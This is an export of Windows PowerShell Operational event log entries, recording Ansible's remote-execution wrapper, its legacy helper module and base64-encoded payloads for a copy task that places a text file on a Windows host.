throw "Add-Warning: warnings attribute is not an array"
}
$obj.warnings += $message
}
Function Add-DeprecationWarning($obj, $message, $version = $null)
{
<#
.SYNOPSIS
Helper function to add deprecations, even if the deprecations attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("deprecations")) {
$obj.deprecations = @()
} elseif ($obj.deprecations -isnot [array]) {
throw "Add-DeprecationWarning: deprecations attribute is not a list"
}
$obj.deprecations += @{
msg = $message
version = $version
}
}
Function Expand-Environment($value)
{
<#
.SYNOPSIS
Helper function to expand environment variables in values. By default
it turns any type to a string, but we ensure $null remains $null.
#>
if ($null -ne $value) {
[System.Environment]::ExpandEnvironmentVariables($value)
} else {
$value
}
}
Function Get-AnsibleParam($obj, $name, $default = $null, $resultobj = @{}, $failifempty = $false, $emptyattributefailmessage, $ValidateSet, $ValidateSetErrorMessage, $type = $null, $aliases = @())
{
<#
.SYNOPSIS
Helper function to get an "attribute" from a psobject instance in PowerShell.
This is a convenience to make getting Members from an object easier and
slightly more pythonic
.EXAMPLE
$attr = Get-AnsibleParam $response "code" -default "1"
.EXAMPLE
Get-AnsibleParam -obj $params -name "State" -default "Present" -ValidateSet "Present","Absent" -resultobj $resultobj -failifempty $true
Get-AnsibleParam also supports Parameter validation to save you from coding that manually
Note that if you use the failifempty option, you do need to specify resultobject as well.
#>
# Check if the provided Member $name or aliases exist in $obj and return it or the default.
try {
$found = $null
# First try to find preferred parameter $name
$aliases = @($name) + $aliases
# Iterate over aliases to find acceptable Member $name
foreach ($alias in $aliases) {
if ($obj.ContainsKey($alias)) {
$found = $alias
break
}
}
if ($null -eq $found) {
throw
}
$name = $found
if ($ValidateSet) {
if ($ValidateSet -contains ($obj.$name)) {
$value = $obj.$name
} else {
if ($null -eq $ValidateSetErrorMessage) {
#Auto-generated error should be sufficient in most use cases
$ValidateSetErrorMessage = "Get-AnsibleParam: Argument $name needs to be one of $($ValidateSet -join ",") but was $($obj.$name)."
}
Fail-Json -obj $resultobj -message $ValidateSetErrorMessage
}
} else {
$value = $obj.$name
}
} catch {
if ($failifempty -eq $false) {
$value = $default
} else {
if (-not $emptyattributefailmessage) {
$emptyattributefailmessage = "Get-AnsibleParam: Missing required argument: $name"
}
Fail-Json -obj $resultobj -message $emptyattributefailmessage
}
}
# If $value -eq $null, the parameter was unspecified by the user (deliberately or not)
# Please leave $null-values intact, modules need to know if a parameter was specified
# When $value is already an array, we cannot rely on the null check, as an empty list
# is seen as null in the check below
if ($null -ne $value -or $value -is [array]) {
if ($type -eq "path") {
# Expand environment variables on path-type
$value = Expand-Environment($value)
# Test if a valid path is provided
if (-not (Test-Path -IsValid $value)) {
$path_invalid = $true
# could still be a valid-shaped path with a nonexistent drive letter
if ($value -match "^\w:") {
# rewrite path with a valid drive letter and recheck the shape- this might still fail, eg, a nonexistent non-filesystem PS path
if (Test-Path -IsValid $(@(Get-PSDrive -PSProvider Filesystem)[0].Name + $value.Substring(1))) {
$path_invalid = $false
}
}
if ($path_invalid) {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' has an invalid path '$value' specified."
}
}
} elseif ($type -eq "str") {
# Convert str types to real Powershell strings
$value = $value.ToString()
} elseif ($type -eq "bool") {
# Convert boolean types to real Powershell booleans
$value = $value | ConvertTo-Bool
} elseif ($type -eq "int") {
# Convert int types to real Powershell integers
$value = $value -as [int]
} elseif ($type -eq "float") {
# Convert float types to real Powershell floats
$value = $value -as [float]
} elseif ($type -eq "list") {
if ($value -is [array]) {
# Nothing to do
} elseif ($value -is [string]) {
# Convert string type to real Powershell array
$value = $value.Split(",").Trim()
} elseif ($value -is [int]) {
$value = @($value)
} else {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' is not a YAML list."
}
# , is not a typo, forces it to return as a list when it is empty or only has 1 entry
return ,$value
}
}
return $value
}
#Alias Get-attr-->Get-AnsibleParam for backwards compat. Only add when needed to ease debugging of scripts
If (-not(Get-Alias -Name "Get-attr" -ErrorAction SilentlyContinue))
{
New-Alias -Name Get-attr -Value Get-AnsibleParam
}
Function ConvertTo-Bool
{
<#
.SYNOPSIS
Helper filter/pipeline function to convert a value to boolean following current
Ansible practices
.EXAMPLE
$is_true = "true" | ConvertTo-Bool
#>
param(
[parameter(valuefrompipeline=$true)]
$obj
)
$boolean_strings = "yes", "on", "1", "true", 1
$obj_string = [string]$obj
if (($obj -is [boolean] -and $obj) -or $boolean_strings -contains $obj_string.ToLower()) {
return $true
} else {
return $false
}
}
Function Parse-Args($arguments, $supports_check_mode = $false)
{
<#
.SYNOPSIS
Helper function to parse Ansible JSON arguments from a "file" passed as
the single argument to the module.
.EXAMPLE
$params = Parse-Args $args
#>
$params = New-Object psobject
If ($arguments.Length -gt 0)
{
$params = Get-Content $arguments[0] | ConvertFrom-Json
}
Else {
$params = $complex_args
}
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
If ($check_mode -and -not $supports_check_mode)
{
Exit-Json @{
skipped = $true
changed = $false
msg = "remote module does not support check mode"
}
}
return $params
}
Function Get-FileChecksum($path, $algorithm = 'sha1')
{
<#
.SYNOPSIS
Helper function to calculate a hash of a file in a way which PowerShell 3
and above can handle
#>
If (Test-Path -Path $path -PathType Leaf)
{
switch ($algorithm)
{
'md5' { $sp = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider }
'sha1' { $sp = New-Object -TypeName System.Security.Cryptography.SHA1CryptoServiceProvider }
'sha256' { $sp = New-Object -TypeName System.Security.Cryptography.SHA256CryptoServiceProvider }
'sha384' { $sp = New-Object -TypeName System.Security.Cryptography.SHA384CryptoServiceProvider }
'sha512' { $sp = New-Object -TypeName System.Security.Cryptography.SHA512CryptoServiceProvider }
default { Fail-Json @{} "Unsupported hash algorithm supplied '$algorithm'" }
}
If ($PSVersionTable.PSVersion.Major -ge 4) {
$raw_hash = Get-FileHash $path -Algorithm $algorithm
$hash = $raw_hash.Hash.ToLower()
} Else {
$fp = [System.IO.File]::Open($path, [System.IO.Filemode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite);
$hash = [System.BitConverter]::ToString($sp.ComputeHash($fp)).Replace("-", "").ToLower();
$fp.Dispose();
}
}
ElseIf (Test-Path -Path $path -PathType Container)
{
$hash = "3";
}
Else
{
$hash = "1";
}
return $hash
}
Function Get-PendingRebootStatus
{
<#
.SYNOPSIS
Check if reboot is required, if so notify CA.
Function returns true if computer has a pending reboot
#>
$featureData = Invoke-WmiMethod -EA Ignore -Name GetServerFeature -Namespace root\microsoft\windows\servermanager -Class MSFT_ServerManagerTasks
$regData = Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" "PendingFileRenameOperations" -EA Ignore
$CBSRebootStatus = Get-ChildItem "HKLM:\\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing" -ErrorAction SilentlyContinue| Where-Object {$_.PSChildName -eq "RebootPending"}
if(($featureData -and $featureData.RequiresReboot) -or $regData -or $CBSRebootStatus)
{
return $True
}
else
{
return $False
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: a5777a6f-ff51-436a-b4ac-fcefb8da115b
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2219 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4492 | 3428 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:06 AM | 61e00a24-ee3b-0003-a5e3-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
{
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
ScriptBlock ID: a87fe1dd-5af4-4201-ada2-d5f463176d48
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2218 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4492 | 3428 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:06 AM | 61e00a24-ee3b-0003-9de3-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (4 of 4):
sZSIKICAgICAgICAgICAgfSBlbHNlaWYgKC1ub3QgKFRlc3QtUGF0aCAtUGF0aCAkcGFyZW50X2RpciAtUGF0aFR5cGUgQ29udGFpbmVyKSkgewogICAgICAgICAgICAgICAgRmFpbC1Kc29uIC1vYmogJHJlc3VsdCAtbWVzc2FnZSAiRGVzdGluYXRpb24gZGlyZWN0b3J5ICckcGFyZW50X2RpcicgZG9lcyBub3QgZXhpc3QiCiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJGNvcHlfcmVzdWx0ID0gQ29weS1GaWxlIC1zb3VyY2UgJHNyYyAtZGVzdCAkZGVzdAogICAgICAgICRkaWZmID0gJGNvcHlfcmVzdWx0LmRpZmYKICAgICAgICAkcmVzdWx0LmNoZWNrc3V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YgKFRlc3QtUGF0aCAtUGF0aCAkcGFyZW50X2RpciAtUGF0aFR5cGUgTGVhZikgewogICAgICAgICAgICBGYWlsLUpzb24gLW9iaiAkcmVzdWx0IC1tZXNzYWdlICJvYmplY3QgYXQgZGVzdGluYXRpb24gcGFyZW50IGRpciAnJHBhcmVudF9kaXInIGlzIGN1cnJlbnRseSBhIGZpbGUiCiAgICAgICAgfSBlbHNlaWYgKC1ub3QgKFRlc3QtUGF0aCAtUGF0aCAkcGFyZW50X2RpciAtUGF0aFR5cGUgQ29udGFpbmVyKSkgewogICAgICAgICAgICBGYWlsLUpzb24gLW9iaiAkcmVzdWx0IC1tZXNzYWdlICJEZXN0aW5hdGlvbiBkaXJlY3RvcnkgJyRwYXJlbnRfZGlyJyBkb2VzIG5vdCBleGlzdCIKICAgICAgICB9CiAgICB9CgogICAgQ29weS1JdGVtIC1QYXRoICRzcmMgLURlc3RpbmF0aW9uICRyZW1vdGVfZGVzdCAtRm9yY2UgfCBPdXQtTnVsbAogICAgJHJlc3VsdC5jaGFuZ2VkID0gJHRydWUKfQoKRXhpdC1Kc29uIC1vYmogJHJlc3VsdAo=", "module_args": {"_ansible_version": "2.7.0", "src": "C:\\Users\\Admin\\AppData\\Local\\Temp\\ansible-tmp-1611050463.59-37249015889679\\source", "_ansible_selinux_special_fs": ["fuse", "nfs", "vboxsf", "ramfs", "9p"], "_ansible_no_log": false, "dest": "C:\\eventlogcss.txt", "checksum": "d051fdb120afddc6f99086f6b8b905bce125cb45", "_ansible_module_name": "copy", "_ansible_debug": false, "_ansible_verbosity": 3, "_ansible_keep_remote_files": false, "_ansible_syslog_facility": "LOG_USER", "_ansible_socket": null, "_original_basename": "eventlogcss.txt", "_ansible_remote_tmp": "%TEMP%", "_ansible_diff": false, "mode": null, "_ansible_check_mode": false, "_ansible_shell_executable": "/bin/sh", "follow": false, "_ansible_tmpdir": "'C:\\Users\\Admin\\AppData\\Local\\Temp\\ansible-tmp-1611050463.59-37249015889679'"}}
'@
}
process {
$input_as_string = [string]$input
$json_raw += $input_as_string
}
end {
If (-not $json_raw) {
Write-Error "no input given" -Category InvalidArgument
}
$payload = ConvertTo-HashtableFromPsCustomObject (ConvertFrom-Json $json_raw)
# TODO: handle binary modules
# TODO: handle persistence
$min_os_version = [version]$payload.min_os_version
if ($min_os_version -ne $null) {
$actual_os_version = [System.Environment]::OSVersion.Version
if ($actual_os_version -lt $min_os_version) {
$msg = "This module cannot run on this OS as it requires a minimum version of $min_os_version, actual was $actual_os_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$min_ps_version = [version]$payload.min_ps_version
if ($min_ps_version -ne $null) {
$actual_ps_version = $PSVersionTable.PSVersion
if ($actual_ps_version -lt $min_ps_version) {
$msg = "This module cannot run as it requires a minimum PowerShell version of $min_ps_version, actual was $actual_ps_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$actions = $payload.actions
# pop 0th action as entrypoint
$entrypoint = $payload.($actions[0])
$payload.actions = $payload.actions[1..99]
$entrypoint = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($entrypoint))
# load the current action entrypoint as a module custom object with a Run method
$entrypoint = New-Module -ScriptBlock ([scriptblock]::Create($entrypoint)) -AsCustomObject
Set-Variable -Scope global -Name complex_args -Value $payload["module_args"] | Out-Null
# dynamically create/load modules
ForEach ($mod in $payload.powershell_modules.GetEnumerator()) {
$decoded_module = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mod.Value))
New-Module -ScriptBlock ([scriptblock]::Create($decoded_module)) -Name $mod.Key | Import-Module -WarningAction SilentlyContinue | Out-Null
}
$output = $entrypoint.Run($payload)
Write-Output $output
}
ScriptBlock ID: e251f97b-0e5e-4cfe-b199-d17be0c29b4b
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2217 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4492 | 3428 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:06 AM | 61e00a24-ee3b-0003-97e3-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 4):
KICAgICAgICAgICAgRmFpbC1Kc29uIC1vYmogJHJlc3VsdCAtbWVzc2FnZSAiY2Fubm90IGNvcHkgZmlsZSBmcm9tICckc291cmNlJyB0byAnJGRlc3QnOiBvYmplY3QgYXQgZGVzdCBwYXJlbnQgZGlyIGlzIG5vdCBhIGZvbGRlciIKICAgICAgICB9CiAgICAgICAgaWYgKFRlc3QtUGF0aCAtUGF0aCAkZGVzdCAtUGF0aFR5cGUgTGVhZikgewogICAgICAgICAgICBGYWlsLUpzb24gLW9iaiAkcmVzdWx0IC1tZXNzYWdlICJjYW5ub3QgY29weSBmb2xkZXIgZnJvbSAnJHNvdXJjZScgdG8gJyRkZXN0JzogZGVzdCBpcyBhbHJlYWR5IGEgZmlsZSIKICAgICAgICB9CgogICAgICAgIE5ldy1JdGVtIC1QYXRoICRkZXN0IC1JdGVtVHlwZSBDb250YWluZXIgLVdoYXRJZjokY2hlY2tfbW9kZSB8IE91dC1OdWxsCiAgICAgICAgJGRpZmYgKz0gIiskZGVzdFxgbiIKICAgICAgICAkcmVzdWx0LmNoYW5nZWQgPSAkdHJ1ZQogICAgfQoKICAgICRjaGlsZF9pdGVtcyA9IEdldC1DaGlsZEl0ZW0gLVBhdGggJHNvdXJjZSAtRm9yY2UKICAgIGZvcmVhY2ggKCRjaGlsZF9pdGVtIGluICRjaGlsZF9pdGVtcykgewogICAgICAgICRkZXN0X2NoaWxkX3BhdGggPSBKb2luLVBhdGggLVBhdGggJGRlc3QgLUNoaWxkUGF0aCAkY2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XMgYQogICAgICAgICAgICAjIGZpbGUgYW5kIGRlc3QgaWYgdGhlIHBhdGggdG8gYSBmaWxlIChkb2Vzbid0IGVuZCB3aXRoIFwgb3IgLykKICAgICAgICAgICAgJHBhcmVudF9kaXIgPSBTcGxpdC1QYXRoIC1QYXRoICRkZXN0CiAgICAgICAgICAgIGlmIChUZXN0LVBhdGggLVBhdGggJHBhcmVudF9kaXIgLVBhdGhUeXBlIExlYWYpIHsKICAgICAgICAgICAgICAgIEZhaWwtSnNvbiAtb2JqICRyZXN1bHQgLW1lc3NhZ2UgIm9iamVjdCBhdCBkZXN0aW5hdGlvbiBwYXJlbnQgZGlyICckcGFyZW50X2RpcicgaXMgY3VycmVudGx5IGEgZml
ScriptBlock ID: e251f97b-0e5e-4cfe-b199-d17be0c29b4b
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2216 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4492 | 3428 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:06 AM | 61e00a24-ee3b-0003-97e3-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 4):
IGEgbm9uZXhpc3RlbnQgZHJpdmUgbGV0dGVyCiAgICAgICAgICAgICAgICBpZiAoJHZhbHVlIC1tYXRjaCAiXlx3OiIpIHsKICAgICAgICAgICAgICAgICAgICAjIHJld3JpdGUgcGF0aCB3aXRoIGEgdmFsaWQgZHJpdmUgbGV0dGVyIGFuZCByZWNoZWNrIHRoZSBzaGFwZS0gdGhpcyBtaWdodCBzdGlsbCBmYWlsLCBlZywgYSBub25leGlzdGVudCBub24tZmlsZXN5c3RlbSBQUyBwYXRoCiAgICAgICAgICAgICAgICAgICAgaWYgKFRlc3QtUGF0aCAtSXNWYWxpZCAkKEAoR2V0LVBTRHJpdmUgLVBTUHJvdmlkZXIgRmlsZXN5c3RlbSlbMF0uTmFtZSArICR2YWx1ZS5TdWJzdHJpbmcoMSkpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoX2ludmFsaWQgPSAkZmFsc2UKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJHBhdGhfaW52YWxpZCkgewogICAgICAgICAgICAgICAgICAgIEZhaWwtSnNvbiAtb2JqICRyZXN1bHRvYmogLW1lc3NhZ2UgIkdldC1BbnNpYmxlUGFyYW06IFBhcmFtZXRlciAnJG5hbWUnIGhhcyBhbiBpbnZhbGlkIHBhdGggJyR2YWx1ZScgc3BlY2lmaWVkLiIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgInN0ciIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IHN0ciB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgc3RyaW5ncwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUuVG9TdHJpbmcoKQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImJvb2wiKSB7CiAgICAgICAgICAgICMgQ29udmVydCBib29sZWFuIHR5cGVzIHRvIHJlYWwgUG93ZXJzaGVsbCBib29sZWFucwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgfCBDb252ZXJ0VG8tQm9vbAogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImludCIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IGludCB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgaW50ZWdlcnMKICAgICAgICAgICAgJHZhbHVlID0gJHZhbHVlIC1hcyBbaW50XQogICAgICAgIH0gZWxzZWlmICgkd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
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2215 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4492 | 3428 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:06 AM | 61e00a24-ee3b-0003-97e3-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 4):
begin {
$DebugPreference = "Continue"
$ErrorActionPreference = "Stop"
Set-StrictMode -Version 2
function ConvertTo-HashtableFromPsCustomObject ($myPsObject){
$output = @{};
$myPsObject | Get-Member -MemberType *Property | % {
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
return $output;
}
# stream JSON including become_pw, ps_module_payload, bin_module_payload, become_payload, write_payload_path, preserve directives
# exec runspace, capture output, cleanup, return module output
# NB: do not adjust the following line- it is replaced when doing non-streamed module output
$json_raw = @'
{"min_ps_version": null, "exec": "CkZ1bmN0aW9uIFJ1bigkcGF5bG9hZCkgewogICAgJGVudHJ5cG9pbnQgPSAkcGF5bG9hZC5tb2R1bGVfZW50cnkKCiAgICAkZW50cnlwb2ludCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGVudHJ5cG9pbnQpKQoKICAgICRwcyA9IFtwb3dlcnNoZWxsXTo6Q3JlYXRlKCkKCiAgICAkcHMuQWRkU3RhdGVtZW50KCkuQWRkQ29tbWFuZCgiU2V0LVZhcmlhYmxlIikuQWRkUGFyYW1ldGVycyhAe1Njb3BlP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gICAkcHMuQWRkU3RhdGVtZW50KCkuQWRkU2NyaXB0KCRlbnRyeXBvaW50KSB8IE91dC1OdWxsCgogICAgJG91dHB1dCA9ICRwcy5JbnZva2UoKQoKICAgICRvdXRwdXQKCiAgICAjIFBTMyBkb2Vzbid0IHByb3Blcmx5IHNldCBIYWRFcnJvcnMgaW4gbWFueSBjYXNlcywgaW5zcGVjdCB0aGUgZXJyb3Igc3RyZWFtIGFzIGEgZmFsbGJhY2sKICAgIElmICgkcHMuSGFkRXJyb3JzIC1vciAoJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbi5NYWpvciAtbHQgNCAtYW5kICRwcy5TdHJlYW1zLkVycm9yLkNvdW50IC1ndCAwKSkgewogICAgICAgICRob3N0LlVJLldyaXRlRXJyb3JMaW5lKCQoJHBzLlN0cmVhbXMuRXJyb3IgfCBPdXQtU3RyaW5nKSkKICAgICAgICAkZXhpdF9jb2RlID0gJHBzLlJ1bnNwYWNlLlNlc3Npb25TdGF0ZVByb3h5LkdldFZhcmlhYmxlKCJMQVNURVhJVENPREUiKQogICAgICAgIElmKC1ub3QgJGV4aXRfY29kZSkgewogICAgICAgICAgICAkZXhpdF9jb2RlID0gMQogICAgICAgIH0KICAgICAgICAjIG5lZWQgdG8gdXNlIHRoaXMgaW5zdGVhZCBvZiBFeGl0IGtleXdvcmQgdG8gcHJldmVudCBydW5zcGFjZSBmcm9tIGNyYXNoaW5nIHdpdGggZHluYW1pYyBtb2R1bGVzCiAgICAgICAgJGhvc3QuU2V0U2hvdWxkRXhpdCgkZXhpdF9jb2RlKQogICAgfQp9Cg==", "actions": ["exec"], "environment": {}, "min_os_version": null, "powershell_modules": {"Ansible.ModuleUtils.Legacy": "IyBDb3B5cmlnaHQgKGMpLCBNaWNoYWVsIERlSGFhbiA8bWljaGFlbC5kZWhhYW5AZ21haWwuY29tPiwgMjAxNCwgYW5kIG90aGVycwojIFNpbXBsaWZpZWQgQlNEIExpY2Vuc2UgKHNlZSBsaWNlbnNlc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xICRmb3VuZCkgewogICAgICAgICAgICB0aHJvdwogICAgICAgIH0KICAgICAgICAkbmFtZSA9ICRmb3VuZAoKICAgICAgICBpZiAoJFZhbGlkYXRlU2V0KSB7CgogICAgICAgICAgICBpZiAoJFZhbGlkYXRlU2V0IC1jb250YWlucyAoJG9iai4kbmFtZSkpIHsKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICRvYmouJG5hbWUKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmICgkbnVsbCAtZXEgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlKSB7CiAgICAgICAgICAgICAgICAgICAgI0F1dG8tZ2VuZXJhdGVkIGVycm9yIHNob3VsZCBiZSBzdWZmaWNpZW50IGluIG1vc3QgdXNlIGNhc2VzCiAgICAgICAgICAgICAgICAgICAgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlID0gIkdldC1BbnNpYmxlUGFyYW06IEFyZ3VtZW50ICRuYW1lIG5lZWRzIHRvIGJlIG9uZSBvZiAkKCRWYWxpZGF0ZVNldCAtam9pbiAiLCIpIGJ1dCB3YXMgJCgkb2JqLiRuYW1lKS4iCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBGYWlsLUpzb24gLW9iaiAkcmVzdWx0b2JqIC1tZXNzYWdlICRWYWxpZGF0ZVNldEVycm9yTWVzc2FnZQogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHZhbHVlID0gJG9iai4kbmFtZQogICAgICAgIH0KICAgIH0gY2F0Y2ggewogICAgICAgIGlmICgkZmFpbGlmZW1wdHkgLWVxICRmYWxzZSkgewogICAgICAgICAgICAkdmFsdWUgPSAkZGVmYXVsdAogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmICgtbm90ICRlbXB0eWF0dHJpYnV0ZWZhaWxtZXNzYWdlKSB7CiAgICAgICAgICAgICAgICAkZW1wdHlhdHRyaWJ1dGVmYWlsbWVzc2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pbGwgYmUgYSB2YWxpZC1zaGFwZWQgcGF0aCB3aXRo
ScriptBlock ID: e251f97b-0e5e-4cfe-b199-d17be0c29b4b
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2214 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4492 | 3428 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:06 AM | 61e00a24-ee3b-0003-97e3-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 2213 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4492 | 4192 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:06 AM | 61e00a24-ee3b-0000-26b3-ee613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 4492 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 2212 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4492 | 4280 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:06 AM | 61e00a24-ee3b-0000-26b3-ee613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 2211 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4492 | 4192 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:06 AM | 61e00a24-ee3b-0000-26b3-ee613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
begin {
$path = 'C:\Users\Admin\AppData\Local\Temp\ansible-tmp-1611050463.59-37249015889679\source'
$DebugPreference = "Continue"
$ErrorActionPreference = "Stop"
Set-StrictMode -Version 2
$fd = [System.IO.File]::Create($path)
$sha1 = [System.Security.Cryptography.SHA1CryptoServiceProvider]::Create()
$bytes = @() #initialize for empty file case
}
process {
$bytes = [System.Convert]::FromBase64String($input)
$sha1.TransformBlock($bytes, 0, $bytes.Length, $bytes, 0) | Out-Null
$fd.Write($bytes, 0, $bytes.Length)
}
end {
$sha1.TransformFinalBlock($bytes, 0, 0) | Out-Null
$hash = [System.BitConverter]::ToString($sha1.Hash).Replace("-", "").ToLowerInvariant()
$fd.Close()
Write-Output "{""sha1"":""$hash""}"
}
